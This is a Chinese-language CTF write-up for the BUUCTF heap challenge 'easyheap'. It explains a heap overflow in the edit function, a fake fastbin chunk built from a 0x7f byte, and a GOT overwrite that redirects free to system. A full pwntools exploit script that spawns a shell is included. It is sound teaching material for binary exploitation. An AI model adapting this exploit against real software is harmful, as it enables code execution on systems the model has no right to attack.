有system函数,那么就很好了,不用泄露libc了,直接跳转拿到flag?不可能的,这是个坑,里面什么都没有。
edit函数可以竟然可以重新编辑堆块的大小,堆溢出!!!
delete函数没什么用,free后置零,不存在uaf。
思路:
1、申请三个堆块,将/bin/sh写入chunk1。
2、利用house of spirit伪造堆块(伪造 chunk 至 heaparray 附近,这样操作在 malloc fastbin 时需要绕过大小判断,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin )
3、利用伪造的堆块将chunk0的地址覆盖为free_got地址
4、将free_got地址改写为system的地址
5、此时free chunk1就能拿到shell。
exp:
from pwn import * from LibcSearcher import* context.log_level='debug'
if args['REMOTE']: p = remote('node3.buuoj.cn',29073) else: p = process("./easyheap")
def create(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recvuntil('Size of Heap : ') p.send(str(size)) p.recvuntil('Content of heap:') p.send(str(content)) def edit(index,size,content): p.recvuntil('Your choice :') p.sendline('2') p.recvuntil('Index :') p.sendline(str(index)) p.recvuntil('Size of Heap : ') p.send(str(size)) p.recvuntil('Content of heap : ') p.send(str(content)) def free(index): p.recvuntil('Your choice :') p.sendline('3') p.recvuntil('Index :') p.sendline(str(index))
def main(): elf=ELF('./easyheap') free_got = elf.got['free'] create(0x68,'aaaa') create(0x68,'bbbb') create(0x68,'cccc') free(2) payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3) edit(1,len(payload),payload) create(0x68,'aaaa') create(0x68,'c') payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got) edit(3,len(payload),payload) payload = p64(elf.plt['system']) print hex(elf.plt['system']) edit(0,len(payload),payload) free(1) p.interactive()
if __name__ == '__main__': main()
|
具体过程:
1、create 0、1、2,free 2
2、将/bin/sh写入chunk1,发送第一段payload,伪造fake_chunk,选择0x6020b0-3为了绕过house of spirit的检查,以0x7f作为fastbin的大小的堆块。
3、create 2、3(之前已经free2,根据bins链表,重新生成的分别是之前的chunk2,和我们伪造的fake_chunk)
4、发送第二段payload,修改chunk0的地址为free_got地址
5、发送第三段payload,改写free_got表地址为system地址
5、free 1,拿到shell(此时调用的即为system函数,chunk1的内容为/bin/sh)